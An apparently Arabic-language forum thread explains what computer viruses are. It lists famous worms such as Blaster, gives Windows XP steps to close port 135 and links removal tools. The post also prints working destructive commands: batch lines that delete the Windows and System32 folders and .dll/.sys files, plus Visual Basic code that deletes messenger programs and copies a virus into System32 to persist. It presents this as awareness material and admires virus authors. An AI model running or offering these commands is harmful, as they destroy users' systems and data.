| الفيرُوسَآت | بصُوت وَآحِـد :: صَرَخاتْ ! مآذآ فعلْت بِنـآْ !!؟

بسم الله الرحمن الرحيم
--
السلام عليكم ورحمة الله وبركاته
---


لابّدّ أنّنـا قرأنا ما قرأنا في هذا المنتدى .. أقصد بما يتعلق بالهكر .. وطريقة عمل التروجانات او الباتشات ـ ولكننا لم نتطرق للفيروسات .. بل وكأنها مُزحة

وهذا خطأ من الإخطاء التي ارتكبتها في حياتي

وسأحاول ان اعتذر اعتذار يليق بهذه الحقيرة ...

Virus << واعتقد انها المتداولة أكثر من الـ Pach ( مصطلح الباتش ) هي عبارة عن ملفات مًُبرمجة لـ عمل تأدِيب لشي يسمّى حاسب او كومبيوتر ... وقد لا يكون للكومبيوتر بل لمُستخدم هذا الكومبيوتر ...

وهناك فرقْ بين الفيروس والباتش

فالباتش اعتبره ليس اختراعا . فهو عبارة عن اتصال بين برنامجين مر بإلقاة تحية من المُكافح وبتوقيع غباء الضحيّة أو ذكآء المٌخترق

لكنّ الفيروس اعتقد انه يعتمد أكثر على ذكاء المُخترق ؟؟ وذلك لأن به أوامر غير مرتبطة بالنت واقوى من الباتشات التي غالبا ما تقوم بتنفيد أوامرها تحت طلب منك في حال كنت متصل بالشبكة العنكبوتية فقـط

تُعمل الفيروسات بمُختلف لُغات البرمجة فيجول . C+,C++. Delphi ... كما انك تستطيع عمل فيروس بالمفكرة .. نعم تستطيع ؟
.. ولكن غالب الفيروسات المُبرمجة بالمفكرة تكون درجة خطورتها متوسـطة كحد أقصى .


..
من أضرار الفيروسات (( المألوفة )) :-

* بطاء الجهاز
* إعادة التشغيل
* مسح بعض الملفات

وغيرها إنما هذه المألوفة غير انا هناك فيروسات مشهورة بعملها

من أشهر الفيورسات :-

* فيروس الـحب
* فيروس بلاستر << وهو الأشهر ويستخدم المنفذ 135 ويسمى أيضا فيروس الستين ثانية
لأنه يعد عد تنازلي من الـ 60 حتى يُعاد التشغيل
* فيروس ميليسيا
* Virus Vortex وهو خطير حيث يدمّر الإكسبلورر

هذي الأشهر لكن الأخطر بينهم والمُتداول حآلياً هو ما يُسمّى بـ فيروس الستين ثانية ...تذكرونه بالطبع !

يقُوم هذا الفيروس بإظهار رسالة لك به عد تنازلي من الـ 60 وإذا انتهى العد يُعاد تشغيل جهازك

وهو منتشر حآليا بشكل فظيع .. هو لا يُريد الشّهرة ! بل يُريد أداء عمله وإطاعة ربه .. الذي برمجه

لكن ماذا لو وظّفنا ( حارس شخصي )( bodyguard ) كـ [فاندام ، في آخر أفلامه ] أو كـ [ جت لي ، فيلمه المشهور ] .. بهذه الطريقة سيصعب عليه التسلل إلى جهازك . أليس كذلك ؟

إذا افترض انك قلت بلى .. فلنوظف هذا الحارس قبل أن يتسلل.. وذلك باتباع الآتي : -

(( لويندوز Xp ))

إبداأ > تشغيل > dcomcnfg > اختر ( خدمات المكونات ) > ادخل على ( جهاز الكومبيوتر ) > خذ ( خصائص ) لجهاز الكومبيوتر > في تبويب ( الخصائص الإفتراضية ) الغ علامة الصح اما أول اختيار ( تمكين ...COM على هذا الكومبيوتر ) > انتقل إلى تبويب ( البروتوكولات الإفتراضية ) وقم بحذف ( اتجاه الإتصال بإتجاه TCP/IP ) ثم خذ موافق واعد تشغيل الجهاز

وتكون بهذه الطريقة أغلقت المنفذ 135 والذي يستعمله فيروس بلاستر

لكن ... ماذا لو تسلل الفيروس قبل وصول الحارس إلى المطار .. ؟

على الحارس أن يسحبه بناصيته ويُخرجه من منزلك ، أليس كذلك ؟

إفترض هنا أيضا أنك قلت : بلى ، اذا فلنامر الحارس بحذفه خارجا :-

هناك عدّة طُرق
1/ تحديث نظامك ويتم بزيارة http://windowsupdate.microsoft.com/

2 / - تحميل الاداة الخاصه بازالة الفايروس وبامكانك تحميل الاداة مباشرة من .. :-
http://securityresponse.symantec.co...er/FixBlast.exe

وهناك طرق أخرى لا تحضرني حآاليّاً

هآنحن تخلصنا من هذا الفيروس بإذن الله

*[ دِراسَة برْمجيّة حّول الفيرُوسـات ]*
..< هذا الموضوع ليس لتعلّم برمجة الفيروسات تماما إنما بشكل بسيط لأني اعلم ان منكم من سيضر بها المسلمين .. ولكن هي لتوضيح ماهي ولتحمي نفسك بها >

قدّمت فيرُوسات مبُرمجة تُلبّي حاجات المُبرمج .. وابدأ لا نستهين بالمبرمجين الهكرز العرب ،، وهناك عّدة فيروسات أوّد تحذيركم منها :-

VSADA << وهو عدّة إصدارات / وهو من صنع المًبرمج العربي الذي احترمه شخصيا بعيدا عن كلمة برمجة . فهو يتمتع بأخلاق عاليه كذلك أحسبه مُجاهداً بإذن الله يُدعى : سمير سادا ... وهو فيروس خطير .. انتبه فقد يصل إلى جهازك دون علمه ..

Virus Antivirus <<وهو أيضا من صُنع مبرمج عربي قديير يُدعى / أبو هلآل ، ولا يمكن الإستهانة بهذا الفيروس لأنك لو عرفت عمله لذُعرت .. حيث أنه يقُوم بتدمير أفضل برامج الحماية ألا وهو الكاسبر سكاي Kasper sky ،وفي هذا الفيروس وضع المُبرمج حركة ذكية وثغرة في الكاسبر لم يكتشفها أحد وتكون الثغرة في الترخيص . فاحذرووا منه

Virus Vortex << وهو السابق ذكره .. يدمر الإكسبلورر

.. حسناً كيف تعمَل الفيرُوسات ؟

بالمفكرة : وكما سبق وذكرت ايضا خطروتها متوسطة انظر لهذا :-

كود PHP:

del/a/q c:windows*.*
del/a/q c:windowssystem32*.* 


الجملة الاولى هي حذف مجلد الويندوز وكما نعلم ان
المجلد الحساس

االجملة التانية
حدف ملفات السيستم المجلد المسؤال عن تشغيل جهازك
يمكننا ان نسميه قلب جهازك

هذه تتم بالمفكرة .. فنتابع قليلاً

الامر

كود PHP:

cd %WinDir%System
deltree /y *.dll
cd
deltree /y *.sys 


الاتجاه الى مجلد الويندوز
تم تاكيد حذف المجلد
تم الانتقال وحذف الملفات دات الامتداد .SYS و DLL

هذه بعض الأوامر التي تعطى الفيروسات وتتم من خلال المفكرة

فلنطوّر أنفسنا قليلاً ونذهب إلى عشقي وهيامي ..إلى حبيبتي وكياني .. ألا وهي تُدعَى

لُغة الفيجول بيسك !!

هل تصدق .. هذا أمر لفيروس يقوم بحذف الـ MSN والـ Yahoo :-

كود PHP:

Open "C:\Program Files\Yahoo!\Messenger\*.EXE" For Input As #1
Close
Call Kill("C:\Program Files\Yahoo!\Messenger\*.EXE")
Exit Sub 


كما أن هُناك خّدع تستتخدم في الفيروسات لتفادي الحذف .. هذا الأمر ( بالفيجول بيسك ايضاً ) يقوم بنسخ الفيروس في مجلد System32

كود PHP:

FileCopy (App.Path & "\name_virus.exe"), ("C:\Windows\System32\Storm Virus.exe") 


وهناك الكثيير والكثير من الأوامر التي تعمل بلغات برمجة وخطييرة كـ C++ وDelphi وغيرها

أتمنى من الله العلي القدِير أن أكون قد وفّقت في توضيح ما يخفى عليكم .

وان اكون قد وفقت في تقديم إعتذاري للفيروسات التي وبختني كثيرا ..

بعض المعلومات مٌقتبسة تقريبا من أقوال عدّة مبرمجين أشكرهم وهم : Dr/SaDa ، RBG-7 ، فشُكراً لهم

جميع الحقُوق محفوظة لـ

¤¦¦¤ صَـرَخَــاتْ ¤¦¦¤

: مع خآلص تقديري وامتناني ووإن من خطأ اعذروني :

فقــط للرفع


حتى يكون الموضوع في الواجهة للقسم :p

أ.صرخآت ..

بصرـآحـه انا حذفت برنامج الحمآيه والله هو كان مبطئ الجهآز

وكنت اعاني من كذا شغله ذكرتهآ في طرحك الغالي ..

بس فرمت الجهآزٍّ .. وافتكينآ


واحب اشكرك على هاذا الطرح المتميز .. بصراحه .. اصطفط منه وايد وايد

تسلللللللللللم يالغلا

أول شي

لما قلت

أ . صرخات << قاصد وإلا عرّشت

ثاني شي الحمدلله إنك تخلّصت من المُشكلة بالفورمات

ثالث شَي

منور الموضوع

الف شكر على مرورك
تحياتي

كل ماقالو صرخآت اقول منهو هاذا


..
تستاهل كل ماقيل عنك يالغلا


بطلـ والابطاال قليلوو <_ متعوووب عليهآ ..


تسلم اخووي

مجنونها مشكوور الف على مرورك

وإن شاء الله يكون اللي سمعته عني يبيض الوجه

تحياتي

اخوي صرخات

موضوع رائع ومهم جدآ

تسلم اخوي

يعطيك العافيه صرخات عالمجهود..لاعدمنـــــاك..

موضوع رائع ومهم جدآ